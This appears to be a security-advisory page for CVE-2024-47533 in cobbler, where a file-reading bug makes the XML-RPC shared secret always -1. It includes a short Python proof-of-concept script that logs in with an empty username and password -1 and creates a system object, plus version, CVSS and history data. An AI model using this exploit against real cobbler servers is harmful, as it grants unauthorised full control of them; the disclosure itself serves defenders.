Critical

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

  • Disclosed: 18.11.2024
  • Updated: 11.10.2026 13:17

Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get_shared_secret:

def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

python
#!/usr/bin/python3

import ssl
 import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
 
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
 except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

Impact

This gives anyone with network access to a cobbler server full control of the server.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) cobbler >= 3.0.0, < 3.2.3, >= 3.3.0, < 3.3.7 3.2.3, 3.3.7

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-287
Platform
Python (PyPI)
Package
cobbler
Disclosed
18.11.2024
Updated
11.10.2026 13:17

Sources and licenses

OSV / GitHub Advisory Database - GHSA-m26c-fcgh-cp6h - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-316 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: cobbler

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (18) in the archive
Total entries
18
First → latest
10.2021 11.2024
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 4
  • High 9
  • Medium 5

Disclosures per year

  1. 2021: 3
  2. 2022: 14
  3. 2023: 0
  4. 2024: 1
  5. 2025: 0
  6. 2026: 0
Severity:
  1. cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes this entry
    Critical · 9.8 CVE-2024-47533 >= 3.0.0, < 3.2.3, >= 3.3.0, < 3.3.7 3.2.3, 3.3.7
  2. High CVE-2010-2235 < 2.0.7 2.0.7
  3. High CVE-2012-2395 < 2.6.0 2.6.0
  4. Critical · 9.8 CVE-2017-1000469 < 3.0.0 3.0.0
  5. Critical · 9.8 CVE-2018-10931 >= 2.6.0, < 3.0.0 3.0.0
  6. Critical · 9.8 CVE-2018-1000226 < 3.0.0 3.0.0
  7. High · 8.8 CVE-2011-4952 < 2.6.0 2.6.0
  8. High · 7.1 CVE-2021-45083 < 3.3.1 3.3.1
  9. High · 7.8 CVE-2021-45082 < 3.3.1 3.3.1
  10. High · 9.8 CVE-2021-40323 < 3.3.0 3.3.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.